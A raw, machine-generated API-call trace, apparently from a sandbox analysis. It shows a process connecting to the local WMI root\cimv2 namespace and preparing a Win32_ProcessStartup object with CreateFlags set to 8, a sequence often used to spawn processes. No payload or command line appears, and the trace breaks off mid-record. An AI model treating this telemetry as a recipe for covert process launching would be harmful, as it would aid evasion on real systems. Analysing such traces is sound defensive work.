returned 0x0 [0144.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0144.036] WbemDefPath:IUnknown:AddRef (This=0x1a9805d0) returned 0x3 [0144.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0144.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0144.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbbe800) returned 0x0 [0144.036] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe800, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.036] WbemDefPath:IUnknown:Release (This=0x1bbbe800) returned 0x3 [0144.036] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0144.036] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0144.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0144.036] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x2 [0144.036] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x1 [0144.036] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0144.036] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0144.036] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1a9805d0) returned 0x0 [0144.036] WbemDefPath:IUnknown:AddRef (This=0x1a9805d0) returned 0x3 [0144.036] WbemDefPath:IUnknown:Release (This=0x1a9805d0) returned 0x2 [0144.037] WbemDefPath:IWbemPath:SetText (This=0x1a9805d0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0144.037] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9805d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0144.037] WbemDefPath:IWbemPath:GetText (in: This=0x1a9805d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0144.037] WbemDefPath:IWbemPath:GetText (in: This=0x1a9805d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.037] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0144.037] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0144.037] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0144.037] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.038] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbbe860) returned 0x0 [0144.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe860, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0144.038] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbbe860, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbbe760) returned 0x0 [0144.038] WbemLocator:IUnknown:Release (This=0x1bbbe860) returned 0x0 [0144.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbbe760) returned 0x0 [0144.038] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0144.039] WbemLocator:IUnknown:AddRef (This=0x1bbbe760) returned 0x3 [0144.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0144.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0144.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0144.039] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0144.039] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0144.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0144.039] WbemLocator:IUnknown:Release (This=0x1bbbe760) returned 0x2 [0144.039] WbemLocator:IUnknown:Release (This=0x1bbbe760) returned 0x1 [0144.039] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0144.039] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0144.039] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbbe760, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbbe760) returned 0x0 [0144.039] WbemLocator:IUnknown:AddRef (This=0x1bbbe760) returned 0x3 [0144.039] WbemLocator:IUnknown:Release (This=0x1bbbe760) returned 0x2 [0144.039] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a9805d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0144.039] WbemDefPath:IWbemPath:GetText (in: This=0x1a9805d0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0144.039] WbemDefPath:IWbemPath:GetText (in: This=0x1a9805d0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.039] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbbe780) returned 0x0 [0144.040] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbbe780, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb81050) returned 0x0 [0144.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc438e0) returned 0x0 [0144.396] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc438e0, pProxy=0x1bb81050, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0144.396] WbemLocator:IUnknown:Release (This=0x1bc438e0) returned 0x1 [0144.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc43920) returned 0x0 [0144.396] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc438e0) returned 0x0 [0144.396] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc438e0, pProxy=0x1bb81050, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0144.396] WbemLocator:IUnknown:Release (This=0x1bc438e0) returned 0x2 [0144.396] WbemLocator:IUnknown:Release (This=0x1bc43920) returned 0x1 [0144.396] CoTaskMemFree (pv=0x1bbc6290) [0144.396] WbemLocator:IUnknown:AddRef (This=0x1bb81050) returned 0x2 [0144.397] WbemLocator:IUnknown:Release (This=0x1bbbe780) returned 0x0 [0144.397] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0144.397] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0144.397] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc438f0) returned 0x0 [0144.397] WbemLocator:IRpcOptions:Query (in: This=0x1bc438f0, pPrx=0x1bbbe6e0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0144.397] WbemLocator:IUnknown:Release (This=0x1bc438f0) returned 0x2 [0144.397] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0144.397] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0144.398] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81050, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb81050) returned 0x0 [0144.398] WbemLocator:IUnknown:Release (This=0x1bb81050) returned 0x2 [0144.398] SysStringLen (param_1=0x0) returned 0x0 [0144.398] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0144.398] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0144.398] IWbemServices:GetObject (in: This=0x1bb81050, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc75830, ppCallResult=0x0) returned 0x0 [0144.400] IWbemClassObject:Get (in: This=0x1bc75830, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0144.400] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0144.400] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0144.400] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0144.400] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0144.400] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0144.400] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.402] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bbbe780) returned 0x0 [0144.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0144.402] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1a980510) returned 0x0 [0144.402] WbemDefPath:IUnknown:Release (This=0x1bbbe780) returned 0x0 [0144.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1a980510) returned 0x0 [0144.402] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0144.403] WbemDefPath:IUnknown:AddRef (This=0x1a980510) returned 0x3 [0144.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0144.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0144.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bbbe740) returned 0x0 [0144.403] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbe740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.403] WbemDefPath:IUnknown:Release (This=0x1bbbe740) returned 0x3 [0144.403] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0144.403] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0144.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0144.403] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x2 [0144.403] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x1 [0144.403] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0144.403] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0144.403] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980510, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1a980510) returned 0x0 [0144.403] WbemDefPath:IUnknown:AddRef (This=0x1a980510) returned 0x3 [0144.404] WbemDefPath:IUnknown:Release (This=0x1a980510) returned 0x2 [0144.404] WbemDefPath:IWbemPath:SetText (This=0x1a980510, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0144.404] IWbemClassObject:Get (in: This=0x1bc75830, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279b3e8*=0, plFlavor=0x279b3ec*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279b3e8*=19, plFlavor=0x279b3ec*=0) returned 0x0 [0144.404] IWbemClassObject:Get (in: This=0x1bc75830, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279b3e8*=19, plFlavor=0x279b3ec*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x279b3e8*=19, plFlavor=0x279b3ec*=0) returned 0x0 [0144.404] IWbemClassObject:Put (This=0x1bc75830, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0144.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980750, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0144.404] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0144.404] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0144.404] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.404] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0144.404] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0144.404] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0144.405] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.406] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bbbe4e0) returned 0x0 [0144.406] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe4e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0144.406] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe4e0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, 